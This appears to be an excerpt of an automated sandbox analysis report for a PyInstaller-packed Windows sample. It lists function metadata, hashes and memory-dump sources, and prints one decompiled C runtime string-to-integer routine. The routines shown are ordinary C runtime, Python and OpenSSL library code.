                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 349153199-0
                                                                                                                              • Opcode ID: 4d981778426152582bd2bcf391e0cfb6d03b1f255c64df104127e21353c62d29
                                                                                                                              • Instruction ID: 5f135dae12b2561f2002accd657a43506dbbd9c6c74b4d8e5631c94200d941d3
                                                                                                                              • Opcode Fuzzy Hash: 4d981778426152582bd2bcf391e0cfb6d03b1f255c64df104127e21353c62d29
                                                                                                                              • Instruction Fuzzy Hash: C781C221E0CA6BC6F752AB259461279E290AF47782F044136DD2C4B3DEFE3EE455C6B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744B48 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Unicode_$Equal$CompareDeallocErr_ReadyString
                                                                                                                              • String ID: invalid normalization form
                                                                                                                              • API String ID: 3010910608-2281882113
                                                                                                                              • Opcode ID: ae959eb8062849ddf2a1372eaa62b4ea46895b67077d31a1475f2e7a558b5720
                                                                                                                              • Instruction ID: 54d372728d8f9dc739bb23afa427402b4286387e680641f6f0ab9df6c349a3cc
                                                                                                                              • Opcode Fuzzy Hash: ae959eb8062849ddf2a1372eaa62b4ea46895b67077d31a1475f2e7a558b5720
                                                                                                                              • Instruction Fuzzy Hash: 42415421A08E6AC5EB518B12A960279A350BB46B8AF444537CD6E4B7DCFF6CE044D3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744A5C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 58COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_$ArgumentReadyUnicode_$CheckPositional
                                                                                                                              • String ID: argument 1$argument 2$is_normalized$str
                                                                                                                              • API String ID: 396090033-184702317
                                                                                                                              • Opcode ID: d7c17ebadb723ea09846ba8eb28a19efd5a53d34ba05390ff0baa6aee06a10f7
                                                                                                                              • Instruction ID: be399e38c5070405910c66f33b39e0ac4426ee4abb73a06d184c43b5bc6acd69
                                                                                                                              • Opcode Fuzzy Hash: d7c17ebadb723ea09846ba8eb28a19efd5a53d34ba05390ff0baa6aee06a10f7
                                                                                                                              • Instruction Fuzzy Hash: 07218020A08E6A81E7518B16E4602B9A360EF46B9AF444533D97D0B2ECEF6CD405D3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7420 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7447
                                                                                                                              • FormatMessageW.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7476
                                                                                                                              • WideCharToMultiByte.KERNEL32 ref: 00007FF7DA8D74CC
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastMessage$ByteCharFormatMultiWide
                                                                                                                              • String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
                                                                                                                              • API String ID: 2920928814-2573406579
                                                                                                                              • Opcode ID: bd063840465bb7cc99fd3a25d537acc863a05dd4e60a717c5e3fbe49c0d7532d
                                                                                                                              • Instruction ID: 5a7c27fef208a1a9cff3b26512da5d08b443e15766ce1ddde922e919ffc0e07c
                                                                                                                              • Opcode Fuzzy Hash: bd063840465bb7cc99fd3a25d537acc863a05dd4e60a717c5e3fbe49c0d7532d
                                                                                                                              • Instruction Fuzzy Hash: 91217171A08A4385FB62BF11E84026DEB61BF98384FC40076D94D826A6EF3CD169C720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD864B3D Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 127stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strncmp
                                                                                                                              • String ID: , value=$..\s\crypto\x509v3\v3_conf.c$/$ASN1:$DER:$critical,$name=
                                                                                                                              • API String ID: 1114863663-1429737502
                                                                                                                              • Opcode ID: 7f2ca93d11da1ca7a80ac0ee73faedd964ac5519fcad5655242ec72a9e8b707f
                                                                                                                              • Instruction ID: 4264e210c6b99ced43f6c15d774ccbaea242d969f20bf84d6a798fbee3e3a8ba
                                                                                                                              • Opcode Fuzzy Hash: 7f2ca93d11da1ca7a80ac0ee73faedd964ac5519fcad5655242ec72a9e8b707f
                                                                                                                              • Instruction Fuzzy Hash: A841F712B18AAA46EB11AF11A82027AA6B0BB49BE4F444030DD7D477C5FE3CE505C7F5
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E0178 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8E0178(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, long long __r10, void* __r11, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long long _v176;
				long long _v184;
				void* __rsi;
				void* __rbp;
				signed int _t144;
				void* _t162;
				signed short _t206;
				signed short _t207;
				signed int _t208;
				signed int _t240;
				intOrPtr _t254;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t263;
				signed short* _t380;
				signed short* _t381;
				signed short* _t383;
				signed short** _t384;
				long long _t385;
				long long* _t388;
				signed short* _t389;
				signed short* _t390;
				signed short** _t394;
				long long* _t395;
				long long* _t396;
				signed short** _t397;
				void* _t398;
				void* _t399;
				signed short* _t404;
				signed short* _t405;
				void* _t407;
				long long _t408;
				signed short* _t409;
				intOrPtr _t410;

				_t407 = __r11;
				_t403 = __r8;
				_t394 = __rdx;
				_t385 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t408 =  *__rdx;
				r10d = 0;
				_v64 = _t408;
				r15d = r8d;
				_t397 = __rdx;
				if (_t408 != 0) goto 0xda8e01bf;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				goto 0xda8e01f1;
				if (r15d == 0) goto 0xda8e0209;
				_t4 = _t403 - 2; // 0xe
				if (_t4 - 0x22 <= 0) goto 0xda8e0209;
				_v176 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v184 = __r10;
				E00007FF77FF7DA8E9C34(__rax, __rbx, __rcx, __rdx, _t398, _t399, __r8);
				_t388 = _t397[1];
				if (_t388 == 0) goto 0xda8e0839;
				 *_t388 =  *_t397;
				goto 0xda8e0839;
				_t10 = _t408 + 2; // 0x2
				_t389 = _t10;
				_t144 = r9b & 0xffffffff;
				r14d = r10d;
				 *_t394 = _t389;
				_t262 =  !=  ? _t144 : _t144 | 0x00000002;
				if ((0x0000fffd & _t385 - 0x0000002b) != 0) goto 0xda8e0240;
				_t206 =  *_t389 & 0x0000ffff;
				_t14 =  &(_t389[1]); // 0x4
				_t380 = _t14;
				 *_t397 = _t380;
				_a16 = 0x9f0;
				_v168 = 0xa66;
				_v164 = 0xa70;
				_v160 = 0xae6;
				r8d = 0x660;
				_v156 = 0xaf0;
				_t20 = _t380 - 0x80; // 0x5e0
				r11d = _t20;
				_v152 = 0xb66;
				r9d = 0x6f0;
				_v148 = 0xb70;
				_v144 = 0xc66;
				_v140 = 0xc70;
				_v136 = 0xce6;
				_v132 = 0xcf0;
				_v128 = 0xd66;
				_v124 = 0xd70;
				_v120 = 0xe50;
				_v116 = 0xe5a;
				_v112 = 0xed0;
				_v108 = 0xeda;
				_v104 = 0xf20;
				_v100 = 0xf2a;
				_v96 = 0x1040;
				_v92 = 0x104a;
				_v88 = 0x17e0;
				_v84 = 0x17ea;
				_v80 = 0x1810;
				_v76 = 0xff1a;
				_v72 = 0x19;
				if ((r15d & 0xffffffef) != 0) goto 0xda8e05ab;
				if (_t206 - 0x30 < 0) goto 0xda8e0517;
				if (_t206 - 0x3a >= 0) goto 0xda8e0367;
				goto 0xda8e0512;
				if (_t206 - 0xff10 >= 0) goto 0xda8e0503;
				if (_t206 - r8w < 0) goto 0xda8e0517;
				if (_t206 - 0x66a >= 0) goto 0xda8e038f;
				goto 0xda8e0512;
				if (_t206 - r9w < 0) goto 0xda8e0517;
				if (_t206 - 0x6fa >= 0) goto 0xda8e03ae;
				goto 0xda8e0512;
				if (_t206 - r11w < 0) goto 0xda8e0517;
				if (_t206 - 0x970 >= 0) goto 0xda8e03cd;
				goto 0xda8e0512;
				if (_t206 - (_t206 & 0x0000ffff) - r11d < 0) goto 0xda8e0517;
				if (_t206 - _a16 >= 0) goto 0xda8e03ed;
				goto 0xda8e0512;
				if (_t206 - _v168 < 0) goto 0xda8e0517;
				if (_t206 - _v164 < 0) goto 0xda8e035d;
				_t47 =  &_v160; // 0xae6
				if (_t206 -  *_t47 < 0) goto 0xda8e0517;
				if (_t206 - _v156 < 0) goto 0xda8e035d;
				if (_t206 - _v152 < 0) goto 0xda8e0517;
				if (_t206 - _v148 < 0) goto 0xda8e035d;
				if (_t206 - _v144 < 0) goto 0xda8e0517;
				if (_t206 - _v140 < 0) goto 0xda8e035d;
				if (_t206 - _v136 < 0) goto 0xda8e0517;
				if (_t206 - _v132 < 0) goto 0xda8e035d;
				if (_t206 - _v128 < 0) goto 0xda8e0517;
				if (_t206 - _v124 < 0) goto 0xda8e035d;
				if (_t206 - _v120 < 0) goto 0xda8e0517;
				if (_t206 - _v116 < 0) goto 0xda8e035d;
				if (_t206 - _v112 < 0) goto 0xda8e0517;
				if (_t206 - _v108 < 0) goto 0xda8e035d;
				if (_t206 - _v104 < 0) goto 0xda8e0517;
				if (_t206 - _v100 < 0) goto 0xda8e035d;
				if (_t206 - _v96 < 0) goto 0xda8e0517;
				if (_t206 - _v92 < 0) goto 0xda8e035d;
				if (_t206 - _v88 < 0) goto 0xda8e0517;
				if (_t206 - _v84 < 0) goto 0xda8e035d;
				if ((_t206 & 0x0000ffff) - _v80 - 9 > 0) goto 0xda8e0517;
				goto 0xda8e035d;
				if (_t206 - _v76 >= 0) goto 0xda8e0517;
				if ((_t206 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xda8e0539;
				_t254 = _v72;
				_t70 = _t389 - 0x41; // 0x6af
				_t71 = _t389 - 0x61; // 0x68f
				_t162 = _t71;
				if (_t70 - _t254 <= 0) goto 0xda8e052f;
				if (_t162 - _t254 > 0) goto 0xda8e059c;
				if (_t162 - _t254 > 0) goto 0xda8e0536;
				_t72 = _t389 - 0x37; // 0x5d9
				if (_t72 != 0) goto 0xda8e059c;
				_t390 =  *_t397;
				r9d = 0xffdf;
				_t255 =  *_t390 & 0x0000ffff;
				_t73 =  &(_t390[1]); // 0xffe1
				_t404 = _t73;
				 *_t397 = _t404;
				_t74 = _t394 - 0x58; // -63
				if ((r9w & _t74) == 0) goto 0xda8e058a;
				 *_t397 = _t390;
				_t166 =  !=  ? r15d : 8;
				r15d =  !=  ? r15d : 8;
				if (_t255 == 0) goto 0xda8e05ab;
				if ( *_t390 == _t255) goto 0xda8e05ab;
				E00007FF77FF7DA8E4394(_t380);
				 *_t380 = 0x16;
				E00007FF77FF7DA8E9D00();
				r10d = 0;
				goto 0xda8e05ab;
				_t207 =  *_t404 & 0x0000ffff;
				_t77 =  &(_t404[1]); // 0xffe3
				_t381 = _t77;
				 *_t397 = _t381;
				goto 0xda8e05a1;
				_t171 =  !=  ? r15d : 0xa;
				r15d = 0xa;
				_t172 = ( !=  ? r15d : 0xa) | 0xffffffff;
				_t79 = (( !=  ? r15d : 0xa) | 0xffffffff) % r15d;
				_t257 = (( !=  ? r15d : 0xa) | 0xffffffff) % r15d;
				r11d = 0x61;
				r9d = 0xa / r15d;
				r12d = 0xff10;
				_t82 = _t407 - 0x31; // 0x5af
				r13d = _t82;
				if (_t207 - r13w < 0) goto 0xda8e077a;
				if (_t207 - 0x3a >= 0) goto 0xda8e05e6;
				goto 0xda8e0775;
				if (_t207 - r12w >= 0) goto 0xda8e0765;
				if (_t207 - 0x660 < 0) goto 0xda8e077a;
				if (_t207 - 0x66a >= 0) goto 0xda8e060d;
				goto 0xda8e0775;
				if (_t207 - 0x6f0 < 0) goto 0xda8e077a;
				_t83 =  &(_t381[5]); // 0x6fa
				if (_t207 - _t83 >= 0) goto 0xda8e062d;
				goto 0xda8e0775;
				if (_t207 - 0x966 < 0) goto 0xda8e077a;
				_t84 =  &(_t381[5]); // 0x970
				if (_t207 - _t84 < 0) goto 0xda8e0623;
				_t85 =  &(_t390[0x3b]); // 0x9e6
				if (_t207 - _t85 < 0) goto 0xda8e077a;
				if (_t207 - _a16 < 0) goto 0xda8e0623;
				if (_t207 - _v168 < 0) goto 0xda8e077a;
				if (_t207 - _v164 < 0) goto 0xda8e0623;
				if (_t207 - _v160 < 0) goto 0xda8e077a;
				if (_t207 - _v156 < 0) goto 0xda8e0623;
				if (_t207 - _v152 < 0) goto 0xda8e077a;
				if (_t207 - _v148 < 0) goto 0xda8e0623;
				if (_t207 - _v144 < 0) goto 0xda8e077a;
				if (_t207 - _v140 < 0) goto 0xda8e0623;
				if (_t207 - _v136 < 0) goto 0xda8e077a;
				if (_t207 - _v132 < 0) goto 0xda8e0623;
				if (_t207 - _v128 < 0) goto 0xda8e077a;
				if (_t207 - _v124 < 0) goto 0xda8e0623;
				if (_t207 - _v120 < 0) goto 0xda8e077a;
				if (_t207 - _v116 < 0) goto 0xda8e0623;
				if (_t207 - _v112 < 0) goto 0xda8e077a;
				if (_t207 - _v108 < 0) goto 0xda8e0623;
				if (_t207 - _v104 < 0) goto 0xda8e077a;
				if (_t207 - _v100 < 0) goto 0xda8e0623;
				if (_t207 - _v96 < 0) goto 0xda8e077a;
				if (_t207 - _v92 < 0) goto 0xda8e0623;
				if (_t207 - _v88 < 0) goto 0xda8e077a;
				if (_t207 - _v84 < 0) goto 0xda8e0623;
				if ((_t207 & 0x0000ffff) - _v80 - 9 > 0) goto 0xda8e077a;
				goto 0xda8e0775;
				if (_t207 - _v76 >= 0) goto 0xda8e077a;
				if ((_t207 & 0x0000ffff) - r12d != 0xffffffff) goto 0xda8e07ae;
				_t240 = _t207 & 0x0000ffff;
				if (_t240 - 0x41 < 0) goto 0xda8e0787;
				if (_t240 - 0x5a <= 0) goto 0xda8e0792;
				if (_t240 - r11d < 0) goto 0xda8e07ab;
				if (_t207 - 0x7a > 0) goto 0xda8e07ab;
				if ((_t207 & 0x0000ffff) - r11w - _v72 > 0) goto 0xda8e07a6;
				goto 0xda8e07ae;
				_t405 =  *_t397;
				if ((_t240 + 0x1ffffffa9 | 0xffffffff) - r15d >= 0) goto 0xda8e07ee;
				_t208 =  *_t405 & 0x0000ffff;
				_t259 = _t381 + _t390;
				r14d = _t259;
				_t117 =  &(_t405[1]); // 0x12
				 *_t397 = _t117;
				_t263 = ( !=  ? _t144 : _t144 | 0x00000002) | (r10d & 0xffffff00 | _t259 - r14d * r15d > 0x00000000 | r10d & 0xffffff00 | r14d - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xda8e05cb;
				_t409 = _v64;
				_t119 = _t405 - 2; // 0xe
				_t383 = _t119;
				_t410 = _a8;
				 *_t397 = _t383;
				if (_t208 == 0) goto 0xda8e0824;
				if ( *_t383 == _t208) goto 0xda8e0824;
				E00007FF77FF7DA8E4394(_t383);
				 *_t383 = 0x16;
				E00007FF77FF7DA8E9D00();
				if ((sil & 0x00000008) != 0) goto 0xda8e0840;
				_t384 = _t397[1];
				 *_t397 = _t409;
				if (_t384 == 0) goto 0xda8e0839;
				 *_t384 = _t409;
				goto 0xda8e08d2;
				r8d = 0x80000000;
				_t124 = _t405 - 1; // 0xf
				r9d = _t124;
				if ((sil & 0x00000004) == 0) goto 0xda8e0859;
				goto 0xda8e0877;
				if ((sil & 0x00000001) == 0) goto 0xda8e08b8;
				if ((bpl & sil) == 0) goto 0xda8e086b;
				if (r14d - r8d <= 0) goto 0xda8e08bd;
				goto 0xda8e0870;
				if (r14d - r9d <= 0) goto 0xda8e08c0;
				 *((char*)(_t410 + 0x30)) = 1;
				 *((intOrPtr*)(_t410 + 0x2c)) = 0x22;
				if ((_t263 & 0x00000001) != 0) goto 0xda8e0890;
				r14d = r14d | 0xffffffff;
				goto 0xda8e08c0;
				_t395 = _t397[1];
				if ((0x00000002 & _t263) == 0) goto 0xda8e08a8;
				if (_t395 == 0) goto 0xda8e08a3;
				 *_t395 =  *_t397;
				goto 0xda8e08d2;
				if (_t395 == 0) goto 0xda8e08b3;
				 *_t395 =  *_t397;
				goto 0xda8e08d2;
				if ((bpl & sil) == 0) goto 0xda8e08c0;
				r14d =  ~r14d;
				_t396 = _t397[1];
				if (_t396 == 0) goto 0xda8e08cf;
				 *_t396 =  *_t397;
				return r14d;
			}
































































                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e017d
                                                                                                                              0x7ff7da8e0194
                                                                                                                              0x7ff7da8e0197
                                                                                                                              0x7ff7da8e019a
                                                                                                                              0x7ff7da8e01a2
                                                                                                                              0x7ff7da8e01a5
                                                                                                                              0x7ff7da8e01ab
                                                                                                                              0x7ff7da8e01ad
                                                                                                                              0x7ff7da8e01b2
                                                                                                                              0x7ff7da8e01b8
                                                                                                                              0x7ff7da8e01bd
                                                                                                                              0x7ff7da8e01c2
                                                                                                                              0x7ff7da8e01c4
                                                                                                                              0x7ff7da8e01cb
                                                                                                                              0x7ff7da8e01cd
                                                                                                                              0x7ff7da8e01d2
                                                                                                                              0x7ff7da8e01d5
                                                                                                                              0x7ff7da8e01d9
                                                                                                                              0x7ff7da8e01dc
                                                                                                                              0x7ff7da8e01e7
                                                                                                                              0x7ff7da8e01ec
                                                                                                                              0x7ff7da8e01f1
                                                                                                                              0x7ff7da8e01f8
                                                                                                                              0x7ff7da8e0201
                                                                                                                              0x7ff7da8e0204
                                                                                                                              0x7ff7da8e020e
                                                                                                                              0x7ff7da8e020e
                                                                                                                              0x7ff7da8e0213
                                                                                                                              0x7ff7da8e0217
                                                                                                                              0x7ff7da8e021c
                                                                                                                              0x7ff7da8e022b
                                                                                                                              0x7ff7da8e0234
                                                                                                                              0x7ff7da8e0236
                                                                                                                              0x7ff7da8e0239
                                                                                                                              0x7ff7da8e0239
                                                                                                                              0x7ff7da8e023d
                                                                                                                              0x7ff7da8e0240
                                                                                                                              0x7ff7da8e0250
                                                                                                                              0x7ff7da8e025d
                                                                                                                              0x7ff7da8e026a
                                                                                                                              0x7ff7da8e0272
                                                                                                                              0x7ff7da8e0278
                                                                                                                              0x7ff7da8e0280
                                                                                                                              0x7ff7da8e0280
                                                                                                                              0x7ff7da8e0284
                                                                                                                              0x7ff7da8e028c
                                                                                                                              0x7ff7da8e0292
                                                                                                                              0x7ff7da8e029a
                                                                                                                              0x7ff7da8e02a2
                                                                                                                              0x7ff7da8e02aa
                                                                                                                              0x7ff7da8e02b2
                                                                                                                              0x7ff7da8e02ba
                                                                                                                              0x7ff7da8e02c2
                                                                                                                              0x7ff7da8e02ca
                                                                                                                              0x7ff7da8e02d2
                                                                                                                              0x7ff7da8e02da
                                                                                                                              0x7ff7da8e02e2
                                                                                                                              0x7ff7da8e02ea
                                                                                                                              0x7ff7da8e02f2
                                                                                                                              0x7ff7da8e02fa
                                                                                                                              0x7ff7da8e0302
                                                                                                                              0x7ff7da8e030a
                                                                                                                              0x7ff7da8e0315
                                                                                                                              0x7ff7da8e0320
                                                                                                                              0x7ff7da8e032b
                                                                                                                              0x7ff7da8e0336
                                                                                                                              0x7ff7da8e0348
                                                                                                                              0x7ff7da8e0351
                                                                                                                              0x7ff7da8e035b
                                                                                                                              0x7ff7da8e0362
                                                                                                                              0x7ff7da8e036a
                                                                                                                              0x7ff7da8e0374
                                                                                                                              0x7ff7da8e0382
                                                                                                                              0x7ff7da8e038a
                                                                                                                              0x7ff7da8e0393
                                                                                                                              0x7ff7da8e03a1
                                                                                                                              0x7ff7da8e03a9
                                                                                                                              0x7ff7da8e03b2
                                                                                                                              0x7ff7da8e03c0
                                                                                                                              0x7ff7da8e03c8
                                                                                                                              0x7ff7da8e03d0
                                                                                                                              0x7ff7da8e03de
                                                                                                                              0x7ff7da8e03e8
                                                                                                                              0x7ff7da8e03f4
                                                                                                                              0x7ff7da8e03ff
                                                                                                                              0x7ff7da8e0405
                                                                                                                              0x7ff7da8e040c
                                                                                                                              0x7ff7da8e0417
                                                                                                                              0x7ff7da8e0424
                                                                                                                              0x7ff7da8e042f
                                                                                                                              0x7ff7da8e043c
                                                                                                                              0x7ff7da8e0447
                                                                                                                              0x7ff7da8e0454
                                                                                                                              0x7ff7da8e045f
                                                                                                                              0x7ff7da8e046c
                                                                                                                              0x7ff7da8e0477
                                                                                                                              0x7ff7da8e0484
                                                                                                                              0x7ff7da8e048f
                                                                                                                              0x7ff7da8e049c
                                                                                                                              0x7ff7da8e04a3
                                                                                                                              0x7ff7da8e04b0
                                                                                                                              0x7ff7da8e04b7
                                                                                                                              0x7ff7da8e04c4
                                                                                                                              0x7ff7da8e04cb
                                                                                                                              0x7ff7da8e04db
                                                                                                                              0x7ff7da8e04e5
